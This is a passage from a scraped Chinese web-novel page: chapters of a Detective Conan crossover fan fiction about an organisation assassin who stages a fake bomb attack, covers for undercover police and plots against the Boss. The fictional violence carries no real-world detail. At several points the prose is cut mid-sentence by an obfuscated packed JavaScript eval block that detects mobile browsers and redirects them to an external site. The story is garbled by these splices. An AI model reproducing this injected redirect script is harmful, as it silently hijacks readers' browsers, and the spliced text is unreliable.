我置若罔闻地说起自己的计划:“暗杀总务大臣的候选人寺内真斗。三天后在他参加的慈善拍卖会上动手。” “苏格兰酱和黑麦负责从A口的两个方向狙击目标。波本负责潜入会场,屏蔽通信后,用广播宣告恐怖袭击,还有确认目标的死活以及一些接应。”我把资料分发完,言简意赅地布置道。 中心思想就是把目标从人群密集的地方引到容易被狙击的地方。 “你怎么确保他们一定会从A口里出来?”波本提出合理质疑。 “这个嘛,保密哦。”我故弄玄虚地道。 “啊对,执行任务的时候别被发现哦。不过这应该不需要我来提醒吧。” 我很好奇。 关于这次任务到底会不会出幺蛾子。 * 学Chamelion真是我做过最正确的选择,我大摇大摆地混进宴会现场。 简单转了一圈,确认目标本人今晚到场了后,我溜达着去装Meteaora。 把充当引线的Spider调成不宜让人发现的颜色,我在除A口外的通道附近都装上了炸弹,只留一个逃生通道。为了避免伤害到无辜的人,我还特意建了几堵由Escudo构成的墙,省得他们跑到起爆点附近被压死。 完成布置后,我重回宴会厅亦步亦趋地跟着目标,顺便欣赏波本干活的身姿。 “统,波本真是专业当服务员的。”我说着说着就被他托盘上精致的小点心给吸引了注意力:“那个小蛋糕看起来真好吃。” “别光顾着吃了,快拍卖到关键物品了。”系统皇上不急太监急地提醒我道。 “知道了。” 系统帮我把Trion体的队内通话的功能适配了下这个世界,我耳麦里联通着他们的通讯频道。 “话说他们都好安静啊。”我嘟囔着,“不过也对,他们要是突然开始闲聊了才叫崩人设呢。” “行动。”我下达指示到。 我目送波本出了宴会厅。 “统,他们应该还不至于在第一个环节就开始搞鬼吧?”被三个卧底支配的我弱小可怜又无助。 “不至于,那样太明显了。”系统正经分析道:“他们估计会营造出任务成功的假象,然后暗中保住目标人物的性命。” “又是假死吗?”我有时候有点想不通这么大费周章地帮人假死干嘛,虽说是保住人的性命了吧,可对于一个公众人物来说,假死也约等于真死了。这个人在社会上已经不能再以原本的名字继续活动了,所做出的事业都得重来,归根结底,组织也达到了它们的目的。 当然了,有的人所拥有的才能让TA走到哪都能发光发亮,可对于一些依赖自身的社会关系和名声的人来说,假死可能还不如真死呢。 按我得到的情报来说,这次的目标大概就是后者,所以他才会不顾公安的警告都要来参加这场慈善拍卖会。 ——因为他的罪证就藏在一件拍卖品里。 他不敢把这件事假手于人,也不敢让世人皆知,所以他会亲自前来买下这件拍卖品并确认自己亲手销毁了那份证据。 同样的,他也很惜命,所以他不会拒绝公安的保护。 我像是玩集章游戏一般将场地内散落的公安一一集齐。 真奇怪,为什么都学你们上司当侍应生?没有什么更好的混进来的身份了吗? “接下来的拍品是一件花瓶。”拍卖主持人的介绍被广播里突然传来“兹拉”一声打断。 随即,一道电子音响起。 我两眼放空地听着波本熟练地威胁恐吓在场的所有人,一瞬间以为这真的是恐怖分子。 配合着他的话语,我引爆了Meteaora。 骤然炸响的动静让所有人都恐慌起来,推搡着彼此试图逃出宴会厅。 人挤人的情况下,开着Chamelion的我反而会显得鹤立鸡群。 我紧紧挨着目标,正准备解除Chamelion动手时,灯光突然暗掉。 我承认,我只是单纯手快就把人抹脖儿了。 肌肉记忆在意想不到的地方给我添麻烦。 来电的瞬间,我和秘书小姐面面相觑,她大叫:“杀人了!” 尖利的声音和另一道“A口还开着!大家快往那里去!”的声音重合在一起,激得人群一股脑地往A口跑。 “大家冷静,不要挤!有人摔倒了!”有人大喊道,试图避免踩踏事故。 我抓住机会,像一尾游鱼在人海里溜走,然后在快要脱离人群的瞬间开启Chamelion。 退到空旷的场地中央,我长舒一口气,也算是再次体验到上辈子去爆火的景点旅游时的人山人海了。 不过这种体验还是不要再来一次了。 “我们是日本公安!请大家冷静下来不要发生踩踏事故!我们会保证大家的安全!”情况危急,有公安选择自曝身份,震慑住了惊慌的人群。 他们建立起简单的队列,供大家有序撤离。 我望着逐渐排起队的人群,不禁庆幸又后悔。 幸好有这些日本公安在维持秩序,不然我今天估计会害死很多人。 “统,是我思虑不周了,没意识到搞这个花里胡哨的伪装恐怖袭击会引发这么大的恐慌。”我懊恼道。 “这只是一次失误,下次我们回归以往的暗杀和狙击就好。不要太在意。”系统说道。 “不,这是很严重的失误。”我凝重地道:“最开始做这个计划的时候,我满脑子都是什么样的计划最高效,却完全没有考虑过无关群众,明明知道会有很多人来参加这场拍卖会。” 我点出最致命的问题:“统,我好像有点不把普通人的命当命了。” “命中。”苏格兰和黑麦同时响起的声音把我从反思中惊醒。 啊……又害了一条无辜的人命。 “任务完成。”我宣布着这个任务的结束:“你们可以撤退了。” “不用我再去确认死的是不是本人了吗?”波本追问。 “随意,你想确认就去。没别的事,我就退出通讯了。” 我切断通讯,透过窗户望见了如同被惊起的鸟雀般仓皇逃窜的人群。 静默了片刻,我离开宴会厅去回收Escudo。 “公安在黑灯的时候把寺内真斗掉包成替身了。”系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293728|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给我汇报道。 “嗯,猜到了。”我看着屏幕上消失的红点,收起仪器:“寺内真斗拆开了那个花瓶,引爆了我藏的C4。希望他炸死的只有自己。” “我们走吧,晚点就该有警察来勘察现场了。”系统催促道:“届时他们发现另一候选人的尸体应该就知道你没把真正的任务目标告诉他们了。” “嗯,反正他们俩都该死,拿寺内真斗暂时当个挡箭牌也算发挥了他最后一点用处。” 日本公安这波自曝身份是有点欠缺考虑了,黑麦肯定会开始怀疑苏格兰和波本之间有属于日本公安的卧底了。 希望波本他们能找到合理的借口解释日本公安今晚为什么会出现在那吧。 其实作为黑方的我这一波操作属实是一箭双雕,既试探出了卧底的存在,又规避了任务失败。 但我做错了。 这是建立在几百条人命上的计划。 不该是这样子的。 我盯着卧室的天花板发呆,烦躁地将脸埋进莉莉的身子。 第二天我刚醒就看到手机上有来自波本的多通来电。 啊,忘记跟他们说睡觉时不要打扰我了,我会把手机关机,谁的电话都不接。 当然,被琴酒找上门生拉硬拽着我去做任务是例外。 想到这点,我顿时坚定了不能把安全屋透露给任何人的想法。 我慢吞吞地给波本回拨:“喂,波本,什么事?” “利莱酒,你向我们隐瞒了真实的任务目标对吧?!”波本愤怒地问道:“你怀疑我们?!” “别在意,那只是我一贯的做法罢了。”我随口扯了个谎。 “所以长谷部新才是要暗杀的目标对吧?你动的手?”波本又开始试探。 “比起这些,你不是说要查死的是不是本人吗?查到了吗?”我直接转移话题:“对了,日本公安昨天也出现在那里了,你去查查他们出现在那的理由,然后给我拟份任务报告。”我很顺嘴地使唤。 “自己的任务报告自己做!”波本第一反应就是要拒绝。 我打了个哈欠:“你确定吗?我不知道日本公安为什么会出现在那,也懒得去查理由,就这么直接上报给琴酒大哥也没问题吗?”我意有所指地威胁道。 “你这是什么意思?”波本冷淡地道。 “没什么,只是在试试能不能说服你帮我写任务报告罢了。”感觉自己好像太过咄咄逼人,我稍微放软了点语气:“放心吧,我不像琴酒大哥那么爱抓老鼠,我一贯秉持着能用的手下就是好手下,有些事,我可以睁一只眼闭一只眼。” “再说,在这件事上,你们三个人有同等的嫌疑,我也没说是你啊,也有可能是黑麦把消息泄露出去的啊。”我话锋又一转:“不过我不打算追究这件事。我可不想因为要追查卧底而牺牲我接下来的两个月假期。” “哼,你这样说不过就是为了让我们放松警惕。”波本压根不信我的话。 我无奈地道:“嘛,你从你的视角帮我写这次的任务报告,我就一笔勾销。当然,同样的条件也适用于苏格兰跟黑麦,麻烦你转达给他们哦。” 思及波本跟黑麦的关系,我又提醒道:“不要因为私人恩怨就不告诉黑麦哦。” “知道了。” 24. 第二十四章 几天后,我收到了三份任务报告,其中波本的报告详细地讲述了日本公安为什么会出现在拍卖会现场的前因后果。 不愧是波本,编出来的理由跟我想的大差不差。 而且报告里一丝漏洞都没有。 细细读过后,我放心地把这三份报告拼成一份发给琴酒。 琴酒很快就给了我回复:【你的部分呢?】 【一切正常。详情请通过波本的报告推理。】 【下次自己写。】 【不要。】 【那就打电话跟我讲。】 我立即一个电话拨过去,跟琴酒汇报‘长谷部新’的任务。 当然,隐瞒了一系列细节。 比如我没有告诉威士忌组假的目标。 比如我虽然在现场发现了日本公安,但根据波本的调查,他们出现在那不是要保护长谷部新,而是提前收到了针对寺内真斗的死亡预告,所以去保护他的。 再比如公安保护不力,恐怖分子杀死了寺内真斗,而苏格兰和黑麦狙杀了长谷部新,我放权把任务交给他们去做,除了监管和指挥以外没干别的事,并且监视下来也没发现任何异常。 我挂断电话,惆怅道:“我感觉我好像已经变成掺水的酒了。” “发现卧底不上报,你是瓶变质的酒。”系统公正道。 “救完苏格兰我就等着给班长寄封信提醒一下得了。”我没由来地一阵烦躁:“好烦啊,一点意思都没有,我这样反复横跳算什么啊。” “无论是杀人还是救人都不对——”我当初明明是为了避免这种两头不讨好的情况才要坚定当黑方的。 我把头砸在桌面上,郁闷道:“统,怎么办啊——早知道做救济任务会让我这么煎熬,我就不该去碰红方的,现在好了,良知又回来了。” “这不是好事吗?”系统不解道。 “是好事,但它快要让我在黑方活不下去了。换成是刚出训练营的我,那晚我可能都不会那样反思自己。” “哪有这样比的。”系统反驳道。 “果然不能太过和红方接触,光明确实很吸引人。”我抓握着恰好透过窗子洒进来的阳光。 “可我已经失去站在光明下的资格了。” “不是的……” * 我这种低迷的状态持续了很长一段时间。 我被折磨得受不了,开始频频去找琴酒约架。 然后有一次实在惹烦他了。 我们俩狠狠打了一架后,他怒骂:“利莱酒,你又在发什么神经!?” “我也不知道。”我躺倒在地。 也许是察觉到我从未如此反常过,琴酒意外的没赶我走。 其实我已经很惊讶他容忍了我这么长时间的骚扰。 四目相对,我望着他飘逸的长发发呆。 沉默了好半晌,我话语不经脑子地说:“大哥,我好像犯错了,所以提前来给你打一顿让你之后好原谅我。” 啊……怎么就诚实地说出来了…… 那就摊牌吧。 “说说。犯了什么错?”琴酒不客气地上脚踢我。 我顺着他的力度打了个滚,闷闷地说:“如果是对卧底的存在知情不报呢?” 一只脚重重地踩上我的背,冰冷坚硬的枪口抵着我的后脑勺,我连忙求饶地叫道:“好疼哦,大哥——” “原因。”琴酒又开始当冷气制造机了。 “暂时还不能说。”摊牌,但还不能完全摊,不然苏格兰酱就要死翘翘啦。 我安静地等了许久,压在身上的重量才被卸掉。 “你这么反常,瞒着我的肯定不止这一件,还有什么?”他冷酷地继续盘问道。 第一颗雷爆了,有烟无伤。 接下来就看第二颗了。 但我估计是山崩地裂的程度。 我坐起身来,努力拍着背上的灰尘:“嗯……我有跟大哥聊过我对Boss的看法吧?” 刚挪开没多久的枪口再次抵着我的头,这次是前额。 “你想对Boss做什么?”琴酒质问道。 我望着那双碧绿色的眼睛,忍不住勾起嘴角:“大哥,我真的很好奇Boss到底对你是有多大的恩情,你才会这么忠诚于他?” “我倒是更好奇,明明是在组织长大的你,为什么要背叛。”琴酒看上去确实是百思不得其解,一副遗憾我误入歧途的样子:“难道被光明的世界迷了眼,打算去飞蛾扑火?” 我摊了摊手:“虽然有点对不起大哥,但我,已经做了呢。”我微笑道。 “不可能,昨天还是和Boss的会面……”琴酒一脸不可置信:“你是怎么做到假扮Boss的?” “秘密——”我竖起食指放在嘴唇前,“撒!大哥,你要为此杀了我吗?” 作为回应,琴酒扣下了扳机,□□冒着烟,应该开在我额头的洞却不见踪影。 “怎么回事?!”琴酒不信邪地又对准我的心脏开枪。 发现第二枪也没效果后,他皱眉放下了枪。 “放弃吧,大哥。你是杀不了我的。”我站起身来,唇边噙着一抹笑。 “不死之身?” “嘛,是那种感觉呢。”我说道:“所以,大哥,你明白我需要杀掉Boss的理由了吗?” “Boss追求长生不老,要是我的能力被他发现了,我的下场必定是在研究所里凄惨死去。”我叙述着可能的凄惨未来:“而我想避免这种坏结局,所以我要从根源上斩断这个可能性。” 琴酒没有反驳,看来他也清楚乌丸莲耶的调性。 我又摆出一副诚恳的模样:“大哥,我说过的吧,我想要追随的人是你。” 琴酒默不作声。 “所以,大哥,要么你成为新的Boss,要么,我们好像就只能不死不休了,如果你执意要为Boss报仇的话。” 我想这也不是一时半会就能做出的抉择,于是给他充分的思考时间:“那么,我等着你的决定。” 我转身打算离去。 “为什么要告诉我?你明明可以继续隐瞒下去的。”琴酒这么问道。 我仰头看天:“我也不知道,可能心情不好想找人倾诉秘密吧。但好像一下把秘密全都秃噜出来了,其实我没打算这么早就跟大哥你摊牌的。” 我顿了顿:“不过大哥你的反应很让我伤心哦。我还以为你能接受的。” “因为,自己当Boss和听令于乌丸莲耶难道有什么区别吗?反正都是你在为这个组织付出。” 我试着用言语最后再动摇一次。 可惜,没有任何反应。 看来系统假扮Boss使的离间计不太管用啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293729|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 我叹息了一声,心情沉重地离开了。 “统,咱们做好杀死琴酒的预案吧。”我颓废地瘫在桌子上,“啊——我不想动手啊。” “那就先不着急吧,他也还没追杀你不是吗?”系统说道。 “但我也没有得到任何新消息。”我摁着手机,我已经很久都没有收到组织相关的联系了。 “往好处想,现在你什么都不用管了。有大把的时间专注在你自己身上。”系统惯会从积极的角度开解我。 “也是,监管威士忌组的任务早就结束了。”我把手机揣兜里,又计划着和莉莉以及一些朋友去自驾游。 * 我和琴酒断联得很突然,恢复联系的时候也很突然。 “利莱酒,苏格兰是日本公安的卧底。你根据指挥去拦截他。” 我恍然——原来已经到了苏格兰叛逃的时候啊。 根据琴酒不联系我就不出任务的情况看,我在组织里可能都销声匿迹快一年了。 当然,我没有忘记苏格兰殉职是哪天,系统帮我算着日子呢。 没有琴酒下达任务我今天也会去救他的。 不过琴酒这使唤人的态度还是一如既往。 而且为什么又想起我来了?是因为他同意我的提案了? 还是因为组织里人才太少,所以捏着鼻子不忍心放弃我这个战力? 嗯,好像太给自己贴金了。 ——搞不懂,他到底是什么态度? 算了,先救济完苏格兰再问吧。 我收敛心神:“收到。” “追捕的人应该不止我一个吧,其它人都往哪个方向去了?”我试图打探黑麦负责的路线。 “黑麦和波本也在行动中。”琴酒回复道。 “那我去帮黑麦,不想和波本一起。”我和波本针锋相对的戏码之前也在琴酒面前上演过不少次了,相信琴酒能接受这个理由。 “往东走,赶到黑麦前头,前后包围苏格兰。”琴酒给我指示道。 赶路期间,我实在耐不住性子,趁着通讯里没有别人,开门见山地道:“大哥,你又联系我是代表你愿意成为新Boss了?” “你有没有考虑过朗姆那一派系的人要怎么办?” 我眼睛顿时一亮,开车都精神了些——不出任务的时候我已经养成了早睡早起的健康作息,现在忽然又让我熬夜追捕实在让我忍不住犯困。 都开始思考具体该怎么实施了,那就是有戏啊! “反正朗姆也不会承认大哥是新Boss,可能还会跟你抢这个位置呢,所以我们干脆把那一派系的人都剔除吧。”我老早就想把朗姆卖掉了。 “哦?你想怎么做?”琴酒继续问道。 “现成的工具人不就在我们面前吗?” “借着公安的手除掉朗姆吗?”琴酒迅速理解了我的言下之意:“你想怎么做?” “组织内还有一个日本公安,拿捏了苏格兰大概也能拿捏他,因此,苏格兰不能死——他可是我重要的筹码。” “哦?组织里还有老鼠?是谁?”琴酒语气极其不爽。 “这个还不能告诉大哥。”我笑了笑:“我怕大哥太想杀老鼠的心会让我们暴露。” “哼。”琴酒不置可否:“这件事交由你全权负责。” “好的大哥,保证完成任务!” 25.第二十五章 我把车停在大楼下,上了隔壁楼找狙击点。 黑麦和苏格兰已经在天台对峙了,我现在上去只会适得其反,逼得苏格兰立刻自杀。 先用狙击把他们弄晕再说。 为了赶时间,我直接用Grashopper从楼梯间飞到顶层——Grashopper,赶路的神器。 我从Lightning的瞄准镜里看到相对而立的苏格兰和黑麦,似乎是在暴露FBI身份的环节了。 用Lightning打不中的话,我可能要考虑改用Viper了,我就不信用鸟笼——那须队长的绝招——我还没法弄晕他们。 简单瞄准后,我迅速打出四发子弹。 Lightning威力比较小,保险起见我给了每人两发,不过都对准的躯干部份,避免真的伤到他们。 凭他们的敏锐度,我害怕动作慢了就被察觉有狙击手,毕竟我靠得太近。 看见两个人影倒地,我顾不得掩饰,直接踩着跳台转移到他们在的天台上。 真的跑上跑下两层楼的话,他们人早就不见了。 我不敢小瞧这些人的耐痛程度,他们很可能在顺势装死,想我麻痹大意。 不过,管他们的呢,黑麦爱装就让他装,重要的是苏格兰不能醒,我可不想一打三。 我把Spider当成束缚带用,确保苏格兰反抗不了后,快步上前,掏出准备好的麻醉针给他注射:“好好睡一觉吧,苏格兰。”组织研发的强效麻醉药保准他一觉睡足二十四小时,届时我应该也处理好一切了。 我刚把苏格兰身上的所有危险物品搜刮干净,又用Spider捆住他的手脚,楼梯间就传来一阵急促的脚步声——我猜应该是波本赶到了吧。 我把苏格兰扶起,让他靠墙坐着后,才慢悠悠地转头,果然看见了气喘吁吁的波本:“波本,你来啦?好慢哦。” 时隔一年再见到我,波本表露出明显的惊讶,疑问和机关枪似的一个接一个:“利莱酒?你怎么在这?也来追捕苏格兰?琴酒让你来的?” 他的视线移到我身侧,有些难掩心急地问道:“你已经杀掉苏格兰了?” 他瞥了眼同样躺在旁边没有动静的黑麦,“黑麦又是怎么回事?” “你问题好多哦,波本。” 我回答了他最关心的那件事:“我只是把苏格兰酱放倒了哦!黑麦,可能是在配合我的枪法装死吧?要是没醒就由波本带去集合地点吧。”我话音刚落,黑麦就应景地坐起身来,无言地抗拒被波本带走这件事。 他探究地盯着我,估计是在思考我是怎么悄无声息地登上天台的。 又或者,他看见我用Grashopper了。 “利莱酒,刚刚是你的狙击?”黑麦求证道。 “狙击?!”波本的声音都有些变调,看来是真的很担心他的幼驯染。 “没错哦。”我故作可爱地解释:“不过都是空包弹,我没有真的想杀了你们啦。” 我笑弯了眼睛:“只是感觉你和苏格兰酱的氛围很紧绷,所以来调节一下气氛而已啦。” “毕竟我不想要苏格兰酱死嘛——” “不想要叛徒死?”黑麦疑惑地扬起声调:“利莱酒,你这番话很让我怀疑你的立场。”同样锐利的墨绿色眼睛让我一瞬间有点恍惚。 “嘛,你爱怎么怀疑就怎么怀疑,我无所谓。”我眨巴眨巴眼睛,不过多解释。 “反正有直接处决权的人是琴酒大哥。”我掏出手机给琴酒拨电话。 “啊,说起来,也是时候给大哥汇报情况了。”我欢快地打招呼:“喂喂?大哥?” 那两个人也敛声,安静地听着对话。 “我抓到苏格兰酱了哦。也和黑麦还有波本会合了。” “现在集合?绿海仓库?ok,我们现在就赶过去。”我摁开扬声器后把手机放进胸前的口袋,然后把苏格兰横打抱起,还颠了颠——好像和琴酒差不多重。 “对了,”我朝他们走近,“你们要和大哥打个招呼吗?” 两个人都没理会我,直径走入楼梯间。 “大哥,他们都好冷漠哦。”我抱怨道,跟随他们下楼。 “呵。”琴酒只是冷笑,知道我的德行,也没为我说话。 我登时不满了:“大哥!你怎么能不站在我这边谴责他们呢!” 琴酒完全无视我,自顾自地问道:“说起来,利莱酒,你对于苏格兰是卧底这件事似乎一点都不惊讶。你是不是早就知情了?” “对哦。”我不作掩饰,承认道。 走在我前面的两个人闻言都忍不住看过来。 “那么,为什么不报告?” “说出来的话……”我故意吊大家胃口地留白。 “嗯?” “说出来的话我就没有稳定的长期厨师了啊!”我摆出一副悲伤的模样胡编乱造到,“然后拖着拖着,我休假去了,就忘掉了啦。” 琴酒没再追问,可黑麦和波本完全是一副‘他怎么这么容易就被糊弄过去了!这不对劲’的表情。 再怎么神通广大也不至于猜到我要扶持琴酒上位Boss吧? 不然我就得怀疑有人有上帝视角了。 我揽着苏格兰的腰打开车门后,把人塞进去,系好安全带。 “利莱酒,介意搭我一程吗?”黑麦看了看波本的车,又看了看我的车,果断询问道。 “可以哦,那你帮我把苏格兰酱搬到后座吧。” 波本就这么靠在他的车上看我们动作。 我犹豫地问:“波本,你还留在这是也要搭顺风车吗?”我又想起他跟黑麦的不和,撤回道:“啊,不过你应该不喜欢和黑麦处在同一空间——所以还有什么事吗?” “等你们一起出发。”他只是这么说道。 “哦,那我们走吧。” 可怜的波本,一个人在车上得脑补多少苏格兰之后会遭遇的不幸啊,我怜悯地想到。 对不起啊波本,是故意不告诉你让你担心受怕的。 不过我可是个大善人,之后会让你们相认团聚的啦。 “利莱酒,我没有听到你的脚步声,你到底是怎么做到瞬间就从狙击点移动到天台上的?”黑麦还是放不下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299067|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些疑点。 “我飞过来的。”我直言道。 黑麦拧紧了眉:“不想说也不用编个这么明显的谎话。就跟你对苏格兰的身份秘而不宣的理由一样。你想干什么?” 我哼着小调,力证自己是拥有诚实这一美好品德的:“我没有说谎啊。” “至于我想干什么?——是秘密哦。” 我扭捏地道:“人家也到了拥有自己小秘密的年纪了哦。” “是吗?但是你的一举一动都像是个没长大的小孩,随心所欲,令人捉摸不透。” “啊啦,原来黑麦你对我这么感兴趣的吗?”我故作惊讶道:“现在明美酱不会生气了吗?” 我又跃跃欲试:“那你是不是可以把头发借给我玩了?” 黑麦哼笑道:“你还真是锲而不舍。我的回答也依然是——不。” 我‘啧’了一声:“小气鬼。” 我把车子并排停在琴酒的保时捷旁边,刚降下车窗就是一股烟味扑面而来。 我表情凶狠地探出半个身子,凭着Trion体的反应速度,把琴酒的烟给掐了。 “你还真是老样子,利莱酒。”琴酒捻了捻手指,没再坚持要抽烟。 “大哥也没变,老是改不掉抽烟的习惯。”我皮笑肉不笑地回道。 琴酒以鄙视的口气嘲讽道:“小孩子是不懂尼古丁和酒精的滋味的。” 我笑嘻嘻地附和道:“小孩子只要活在充满着糖果和牛奶的童话世界就够了。” “啊!说到这,大哥,看!睡美人苏格兰酱!”我献宝似的给琴酒展示。 琴酒嫌弃地撇了我一眼:“波本,黑麦,接下来没你们的事了。” 一直默不作声的波本缓缓牵起一个笑,“你打算怎么处罚苏格兰这个叛徒?”他特地在叛徒两个字上读了重音,仿佛对背叛的人深恶痛绝。 演技真好啊,要不是我提前知道,还真看不出来他们居然是幼驯染的关系——所以波本是不是没拿出百分百的状态面对我啊。 “与你无关。”琴酒拒绝透露任何信息。 波本的面色霎时阴沉下来。 黑麦这时也开口了,不过居然是控诉我的行为:“琴酒,如果我没弄错的话,最先抓到苏格兰的应该是我,虽然被利莱酒截胡了。” “所以?”他似笑非笑地盯着黑麦。两个人对视的瞬间像是有火花迸裂,感觉都要波及到夹在他们中间的我了。 “所以我也想参与对于苏格兰的讨论。”黑麦寸步不让地道。 “有决定权的是Boss,很可惜,你现在还没有面见Boss的资格。”琴酒说道。 黑麦没有办法再据理力争,我安慰地拍了拍黑麦的肩膀:“别伤心。” “啊,不过好像要委屈你搭波本的车回去了。”我看了看因为在这次行动里没有贡献而一直插不进对话的波本。 波本安静得不符合他的人设。 他肯定在想该怎么救下他的幼驯染吧。 他会派人大幅设卡拦下我们吗? ——救,还是不救? 真是艰难的抉择啊,波本。 26.第二十六章 “午安,苏格兰酱。”我与缓缓睁眼的苏格兰四目相对,观察着他从惊讶到疑惑的表情转变。 “利莱酒?我怎么在这里?我不是……”苏格兰试图缕清情况,却因缺失太多信息而拼凑不出全貌。 我为什么会出现?我知不知道他的身份?我仿佛能从他脸上读出种种疑问。 “你不是在和黑麦对峙吗?你想这么问对吧?”我补全他未竟的话语。 苏格兰闭紧了嘴,转而开始挣扎。 被绳子和被子裹成蚕蛹的他一挣扎起来真的好像毛毛虫在蠕动。 我有点忍不住笑意:“别费力挣扎了,你挣不开的。” 苏格兰固执地继续尝试,把自己都折腾得满头大汗了还在蛄蛹,也没见他蛄蛹出二里地啊。 我好笑地看着他越努力越显凄凉的身姿,努力把自己装得高深莫测的样子:“虽然我早就发现你是日本公安了,但没想到你暴露得这么快。” 我对上他如临大敌的目光,露出一个形似反派的微笑。 “既然知道,为什么不揭发我?”苏格兰终于舍得躺平下来和我对话。 我捏着下巴,摆出一副正在思考中的模样:“嗯……因为我还想吃到你给我做的饭?” 苏格兰一脸不信:“你有什么目的?” “为什么这个态度啊——”我拉长了音不满道:“我可是艰难地把你从琴酒手上救下来了哦。” 苏格兰的眼神变得更加锐利:“哦?你那么忠诚于琴酒,居然也会背叛他?” “喂喂,不要把话说得那么难听嘛。”没取得红方的信任,贸然救人当然是会被怀疑的啦。 “我才没有背叛琴酒大哥呢。” “那可真是让我意外,那么容不得叛徒的琴酒居然会纵容你。”苏格兰讥讽道。 我手指必出八字放到下巴:“哼哼,这你们就不懂了,我们都多少年的情谊了。” “嘛,反正这样那样,总而言之,苏格兰酱,你现在就归我管了哦。”我笑眯眯地道。 “那就看在我们是搭档的份上,给我个痛快吧,利莱酒。”苏格兰一副英勇赴死的模样。 他还没试探够吗? 我无语地道:“我这么费尽心思救你难道是为了再杀你一次吗?” 苏格兰猛地睁开眼。 “我有两个提案。”我竖起食指和中指:“一是你离开组织,改头换面,远走高飞,找个没人认识你的地儿,永远不要回来。” 苏格兰震惊地问:“你要放我走?!” “嗯哼,还是无条件的哦。”我眨了下眼睛:“不过你未必愿意走嘛。所以,这里是第二个提案。” “你可以留在组织里,我会伪造出一副你已经被洗脑,会完全听从我的假象,然后你依然是我的搭档。当然,我也免不了要继续监视你,所以你到时候可能就要跟我住一起了呢。”我非常言简意赅地描述道。 “第二个方案根本行不通。”苏格兰理智上线,挑漏洞道:“你不可能说服Boss。” “这就不劳你操心了。”我摆出一副山人自有妙计的高深模样,又步步紧逼道:“你只需要决定配不配合。” “啊,对!我差点忘记了最重要的一点。”我一拍脑袋:“第二个方案是有条件的。” 我也没吊他胃口,直接揭晓:“你得代表日本公安承诺你会在我需要的时候帮我救一个人并且伪造TA的假死。” “你凭什么认为暴露了身份的我还有能力兑现这个承诺?” 我摊了摊手,十分不负责任地道:“那就是你要解决的问题了。” 其实本来也不是要你的承诺,我要的是波本的承诺。 虽然这么说有点对不起苏格兰,但波本应该是在日本公安里的地位更高的那个人。 救下苏格兰,会提高波本答应的几率——这样能合理化调查到他们关系的利莱酒的行为动机了吧? “反而言之,如果你在我需要的时机做不到的话,那就别怪我到时候撕毁现在的协议了。” 我看着他不为所动的面庞,激将道:“只是救人而已,身为警察没道理不答应吧?” 我忍不住又加了筹码:“我可以告诉你,我要救的人是组织的人,而且到时我会协助你们伪造假死。我也不会干涉TA之后的决定,也就是说,如果TA愿意配合你们,给你们提供组织的情报,我不会管。” “……你给我点时间想想。”苏格兰说道。 “好啊。”我爽快的答应:“现在是中午,希望你能在晚饭前做出决定,不然今晚我们俩都没饭吃。” 看着苏格兰的眼神又变得防备起来,我回味了下自己的发言。 天地良心,我发誓我没有威胁他的意思!我真的只是单纯地想让苏格兰有时间做晚饭而已,因为我不想出去买东西,也不想自己做饭。 我眼神复杂地关上门:“我晚点再来看你。” 我坐在沙发上,跟莉莉玩扔球游戏。 “苏格兰会答应第二个提案吗?”系统有点担心地问道。 “会吧。”我其实也有点不确定:“毕竟他应该也不太相信第一个选择。” “真不行的话,我们就去跟波本谈。”我随手把球丢出去:“不是说波本当警察的理由就是为了宫野姐妹的母亲吗?那么他应该很情愿营救宫野明美吧?” “确实。” 我正发着呆的时候,莉莉突然冲着苏格兰的房间吠了起来。 “苏格兰果然不会就这么束手就擒。”我跟系统显摆我的精准预判。 “对对,幸好你有先见之明,提前在他脖子上绑了根Spider,防止他逃出去。”系统顺着我的心意夸赞道。 我站起身来:“其实也是把他包成蚕蛹之后才想到的,不然我也不会绑脖子那么危险的地方,希望他及时停了下来。” 我打开门,果然发现了散落一地的棉被和绳子——苏格兰到底怎么挣脱开的啊? 我盯着被磨断的绳子,抬头看着一副战斗架势的苏格兰,不免称赞:“挺能干啊,苏格兰。” “你在我脖子上绑了什么?”他警惕地抓起房间里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 